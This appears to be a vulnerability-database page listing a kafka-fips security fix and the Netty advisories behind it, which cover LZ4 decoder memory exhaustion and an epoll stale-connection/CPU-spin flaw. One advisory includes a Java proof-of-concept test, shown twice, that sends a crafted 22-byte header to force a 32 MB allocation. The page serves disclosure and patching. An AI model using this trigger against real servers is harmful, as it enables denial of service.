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Vulnerability from cleanstart
Published
2026-07-30 07:10
Modified
2026-07-30 09:30
Summary
Security fixes in kafka-fips 3.8.1-r11
Details
Package kafka-fips version 3.8.1-r11 fixes 4 vulnerabilities: ghsa-mj4r-2hfc-f8p6, ghsa-rwm7-x88c-3g2p, CVE-2026-42583, CVE-2026-42577
References
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "kafka-fips"
},
"ranges": [
{
"events": [
{
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},
{
"fixed": "3.8.1-r11"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.8.1-r11"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package kafka-fips version 3.8.1-r11 fixes 4 vulnerabilities: ghsa-mj4r-2hfc-f8p6, ghsa-rwm7-x88c-3g2p, CVE-2026-42583, CVE-2026-42577",
"id": "CLEANSTART-2026-ZF38801",
"modified": "2026-07-30T09:30:03Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apache/kafka"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in kafka-fips 3.8.1-r11",
"upstream": [
"ghsa-mj4r-2hfc-f8p6",
"ghsa-rwm7-x88c-3g2p",
"CVE-2026-42583",
"CVE-2026-42577"
]
}
CVE-2026-42577 (GCVE-0-2026-42577)
Vulnerability from cvelistv5 – Published: 2026-05-13 18:00 – Updated: 2026-05-14 15:39
VLAI
EPSS
VEX
Title
Netty: epoll transport denial of service via RST on half-closed TCP connection
Summary
Netty is an asynchronous, event-driven network application framework. From 4.2.0.Final to 4.2.13.Final , Netty's epoll transport fails to detect and close TCP connections that receive a RST after being half-closed, leading to stale channels that are never cleaned up and, in some code paths, a 100% CPU busy-loop in the event loop thread. This vulnerability is fixed in 4.2.13.Final.
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-772 - Missing Release of Resource after Effective Lifetime
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/netty/netty/security/advisorie… | x_refsource_CONFIRM |
| https://github.com/netty/netty/pull/16689 | x_refsource_MISC |
| https://github.com/netty/netty/commit/0ec3d97fab3… | x_refsource_MISC |
Impacted products
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CVE-2026-42583 (GCVE-0-2026-42583)
Vulnerability from cvelistv5 – Published: 2026-05-13 18:09 – Updated: 2026-05-14 15:41
VLAI
EPSS
VEX
Title
Netty: Lz4FrameDecoder resource exhaustion
Summary
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
Severity
7.5 (High)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/netty/netty/security/advisorie… | x_refsource_CONFIRM |
Impacted products
3 products
| Vendor | Product | Version | |
|---|---|---|---|
| netty | netty |
Affected:
>= 4.2.0.Alpha1, < 4.2.13.Final
Affected: < 4.1.133.Final |
|
| io.netty | netty-codec |
Affected:
< 4.1.133.Final
|
|
| io.netty | netty-codec-compression |
Affected:
< 4.2.13.Final
|
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GHSA-MJ4R-2HFC-F8P6
Vulnerability from github – Published: 2026-05-07 00:20 – Updated: 2026-05-14 20:41
VLAI
Summary
Netty Lz4FrameDecoder is vulnerable to resource exhaustion
Details
Summary
Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation.
Details
io.netty.handler.codec.compression.Lz4FrameDecoder#decode
Header fields are trusted for sizing. On the compressed path, after readableBytes >= compressedLength, the decoder does ctx.alloc().buffer(decompressedLength, decompressedLength) then decompresses.
PoC
The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB
@Test
void test() throws Exception {
EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
try {
AtomicReference<Throwable> serverError = new AtomicReference<>();
CountDownLatch latch = new CountDownLatch(1);
ServerBootstrap server = new ServerBootstrap()
.group(workerGroup)
.channel(NioServerSocketChannel.class)
.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline()
.addLast(new Lz4FrameDecoder())
.addLast(new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
if (cause instanceof DecoderException) {
serverError.set(cause.getCause());
} else {
serverError.set(cause);
}
latch.countDown();
}
});
}
});
ChannelFuture serverChannel = server.bind(0).sync();
Bootstrap client = new Bootstrap()
.group(workerGroup)
.channel(NioSocketChannel.class)
.handler(new ChannelInboundHandlerAdapter() {
@Override
public void channelActive(ChannelHandlerContext ctx) {
ByteBuf buf = ctx.alloc().buffer(22, 22);
buf.writeLong(MAGIC_NUMBER);
buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
buf.writeIntLE(1);
buf.writeIntLE(1 << 25);
buf.writeIntLE(0);
buf.writeByte(0);
ctx.writeAndFlush(buf);
ctx.fireChannelActive();
}
});
ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();
assertTrue(latch.await(10, TimeUnit.SECONDS));
assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());
clientChannel.channel().close();
serverChannel.channel().close();
} finally {
workerGroup.shutdownGracefully();
}
}
Impact
Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.
Severity
7.5 (High)
{
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},
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"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "HIGH"
},
"details": "### Summary\nLz4FrameDecoder allocates a ByteBuf of size `decompressedLength` (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus `compressedLength` payload bytes - 22 bytes if `compressedLength == 1` - to force that allocation.\n\n### Details\nio.netty.handler.codec.compression.Lz4FrameDecoder#decode\nHeader fields are trusted for sizing. On the compressed path, after `readableBytes \u003e= compressedLength`, the decoder does `ctx.alloc().buffer(decompressedLength, decompressedLength)` then decompresses.\n\n### PoC\nThe test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB\n\n```java\n @Test\n void test() throws Exception {\n EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n try {\n AtomicReference\u003cThrowable\u003e serverError = new AtomicReference\u003c\u003e();\n CountDownLatch latch = new CountDownLatch(1);\n\n ServerBootstrap server = new ServerBootstrap()\n .group(workerGroup)\n .channel(NioServerSocketChannel.class)\n .childHandler(new ChannelInitializer\u003cSocketChannel\u003e() {\n @Override\n protected void initChannel(SocketChannel ch) {\n ch.pipeline()\n .addLast(new Lz4FrameDecoder())\n .addLast(new ChannelInboundHandlerAdapter() {\n @Override\n public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n if (cause instanceof DecoderException) {\n serverError.set(cause.getCause());\n } else {\n serverError.set(cause);\n }\n latch.countDown();\n }\n });\n }\n });\n\n ChannelFuture serverChannel = server.bind(0).sync();\n\n Bootstrap client = new Bootstrap()\n .group(workerGroup)\n .channel(NioSocketChannel.class)\n .handler(new ChannelInboundHandlerAdapter() {\n @Override\n public void channelActive(ChannelHandlerContext ctx) {\n ByteBuf buf = ctx.alloc().buffer(22, 22);\n buf.writeLong(MAGIC_NUMBER);\n buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);\n buf.writeIntLE(1);\n buf.writeIntLE(1 \u003c\u003c 25);\n buf.writeIntLE(0);\n buf.writeByte(0);\n\n ctx.writeAndFlush(buf);\n\n ctx.fireChannelActive();\n }\n });\n\n ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();\n\n assertTrue(latch.await(10, TimeUnit.SECONDS));\n\n assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());\n\n clientChannel.channel().close();\n serverChannel.channel().close();\n } finally {\n workerGroup.shutdownGracefully();\n }\n }\n```\n\n### Impact\nUntrusted senders without per-channel / aggregate limits can stress memory with many small requests.",
"id": "GHSA-mj4r-2hfc-f8p6",
"modified": "2026-05-14T20:41:13Z",
"published": "2026-05-07T00:20:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-mj4r-2hfc-f8p6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42583"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty Lz4FrameDecoder is vulnerable to resource exhaustion "
}
GHSA-RWM7-X88C-3G2P
Vulnerability from github – Published: 2026-05-06 23:10 – Updated: 2026-07-24 19:05
VLAI
Summary
Netty epoll transport denial of service via RST on half-closed TCP connection
Details
Summary
Netty's epoll transport fails to detect and close TCP connections that receive a RST after being half-closed, leading to stale channels that are never cleaned up and, in some code paths, a 100% CPU busy-loop in the event loop thread.
Affected versions
All versions of 4.2.x netty-transport-classes-epoll up to and including 4.2.12.Final
Fixed in
4.2.13.Final (fix merged into the 4.2 branch via #16689; release not yet cut as of 2026-04-25).
Severity
Medium — Denial of Service (resource exhaustion / CPU spin)
CVSS: 3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - 7.5
CWE: CWE-772: Missing Release of Resource after Effective Lifetime
Description
When a TCP connection using Netty's epoll transport has ALLOW_HALF_CLOSURE enabled (or is in a half-closed state via the HTTP codec), and the remote peer:
- Sends a FIN (half-close), causing the server to mark the input as shutdown, then
- Sends a RST (e.g. by closing with
SO_LINGER=0)
the server-side channel is never closed. This happens because:
epollOutReady()is a no-op when there is no pending flush.epollInReady()short-circuits viashouldBreakEpollInReady()because input is already marked as shutdown.- The
EPOLLERR/EPOLLHUPerror condition is therefore never processed, andchannelInactiveis never fired.
Depending on the Netty version and configuration, this results in:
- Stale channels: The connection is never closed or deregistered. An unauthenticated remote attacker can repeat the sequence to accumulate stale connections, exhausting file descriptors, memory, or connection-count limits.
- CPU busy-loop: In code paths where
clearEpollIn0()is not called during theChannelInputShutdownReadCompleteevent,epoll_waitreturns immediately on every iteration for the affected fd, causing 100% CPU utilization on the event loop thread and starving all other connections multiplexed on it.
Mitigation
- Upgrade to 4.2.13.Final when released (or build from the
4.2branch at commit0ec3d97). - If upgrading is not immediately possible, configure idle timeouts on connections to limit the lifetime of stale channels.
References
- Issue: https://github.com/netty/netty/issues/16683
- Fix: https://github.com/netty/netty/pull/16689
Severity
7.5 (High)
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"severity": "HIGH"
},
"details": "## Summary\n\nNetty\u0027s epoll transport fails to detect and close TCP connections that receive a RST after being half-closed, leading to stale channels that are never cleaned up and, in some code paths, a 100% CPU busy-loop in the event loop thread.\n\n## Affected versions\n\nAll versions of 4.2.x `netty-transport-classes-epoll` up to and including 4.2.12.Final\n\n## Fixed in\n\n4.2.13.Final (fix merged into the `4.2` branch via [#16689](https://github.com/netty/netty/pull/16689); release not yet cut as of 2026-04-25).\n\n## Severity\n\n**Medium** \u2014 Denial of Service (resource exhaustion / CPU spin)\n\n**CVSS:** 3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - **7.5**\n\n**CWE:** CWE-772: Missing Release of Resource after Effective Lifetime\n\n## Description\n\nWhen a TCP connection using Netty\u0027s epoll transport has `ALLOW_HALF_CLOSURE` enabled (or is in a half-closed state via the HTTP codec), and the remote peer:\n\n1. Sends a FIN (half-close), causing the server to mark the input as shutdown, then\n2. Sends a RST (e.g. by closing with `SO_LINGER=0`)\n\nthe server-side channel is never closed. This happens because:\n\n- `epollOutReady()` is a no-op when there is no pending flush.\n- `epollInReady()` short-circuits via `shouldBreakEpollInReady()` because input is already marked as shutdown.\n- The `EPOLLERR`/`EPOLLHUP` error condition is therefore never processed, and `channelInactive` is never fired.\n\nDepending on the Netty version and configuration, this results in:\n\n- **Stale channels**: The connection is never closed or deregistered. An unauthenticated remote attacker can repeat the sequence to accumulate stale connections, exhausting file descriptors, memory, or connection-count limits.\n- **CPU busy-loop**: In code paths where `clearEpollIn0()` is not called during the `ChannelInputShutdownReadComplete` event, `epoll_wait` returns immediately on every iteration for the affected fd, causing 100% CPU utilization on the event loop thread and starving all other connections multiplexed on it.\n\n## Mitigation\n\n- Upgrade to 4.2.13.Final when released (or build from the `4.2` branch at commit [`0ec3d97`](https://github.com/netty/netty/commit/0ec3d97fab376e243d328ac95fbd288ba0f6e22d)).\n- If upgrading is not immediately possible, configure idle timeouts on connections to limit the lifetime of stale channels.\n\n## References\n\n- Issue: https://github.com/netty/netty/issues/16683\n- Fix: https://github.com/netty/netty/pull/16689",
"id": "GHSA-rwm7-x88c-3g2p",
"modified": "2026-07-24T19:05:52Z",
"published": "2026-05-06T23:10:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-rwm7-x88c-3g2p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42577"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/pull/16689"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/0ec3d97fab376e243d328ac95fbd288ba0f6e22d"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty epoll transport denial of service via RST on half-closed TCP connection"
}
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Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
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